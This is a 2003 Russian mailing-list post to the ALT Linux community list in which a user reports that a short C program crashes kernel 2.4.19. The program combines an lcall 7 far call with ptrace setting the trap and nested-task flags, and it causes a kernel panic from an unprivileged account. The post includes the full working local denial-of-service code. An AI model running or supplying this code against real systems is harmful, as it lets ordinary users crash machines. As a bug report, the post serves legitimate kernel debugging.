[Comm] kernel panic из-за ма-а-а-аленькой программки

Пушкин Сергей Алексеевич =?iso-8859-1?q?pushkin_=CE=C1_asdg=2Eru?=
Пт Янв 10 06:19:12 MSK 2003


Приветсвую, всезнающий All

Вниманию ядерщиков (или ядрёнщиков :)) )

Есть такая программка:

//-------------------------------------------------------------
#include <sys/ptrace.h>

struct user_regs_struct
{
   long ebx, ecx, edx, esi, edi, ebp, eax;
   unsigned short ds, __ds, es, __es;
   unsigned short fs, __fs, gs, __gs;
   long orig_eax, eip;
   unsigned short cs, __cs;
   long eflags, esp;
   unsigned short ss, __ss;
};
int
main (void)
{
   int pid;
   char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
   void (*lcall7) (void) = (void *) dos;
   struct user_regs_struct d;
if (!(pid = fork ()))
{
   usleep (1000);
   (*lcall7) ();
}
     else
     {
       ptrace (PTRACE_ATTACH, pid, 0, 0);
   while (1)
       {
           wait (0);
           ptrace (PTRACE_GETREGS, pid, 0, &d);
       d.eflags |= 0x4100;    /* set TF and NT */
       ptrace (PTRACE_SETREGS, pid, 0, &d);
       ptrace (PTRACE_SYSCALL, pid, 0, 0);
       }
     }
return 1;
}
//--------------------------------------------------------------

Компилируется и запускается.
В результате стабильный kernel panic даже от простого юзера
(честно говоря под рутом и не пробовал)

Сизиф от 25 декабря минувшего года
rpm -qa | grep kernel
kernel24-up-2.4.19-alt0.8
NVIDIA_kernel-up-2.4.19_1.0.3123-alt0.8

К чему бы это?

-- 
С уважением, Пушкин Сергей aka Stalker

UIN: 35113025
JID: stalker на jabber.ru

XMMS шуршит: MEGAHERZ - BEISS MICH

Скажите, здесь крыша не проезжала?
----------- следующая часть -----------
Было удалено вложение не в текстовом формате...
Имя     : =?iso-8859-1?q?=CF=D4=D3=D5=D4=D3=D4=D7=D5=C5=D4?=
Тип     : application/pgp-signature
Размер  : 189 байтов
Описание: =?iso-8859-1?q?=CF=D4=D3=D5=D4=D3=D4=D7=D5=C5=D4?=
Url     : <http://lists.altlinux.org/pipermail/community/attachments/20030110/b7342e79/attachment-0006.bin>


Подробная информация о списке рассылки community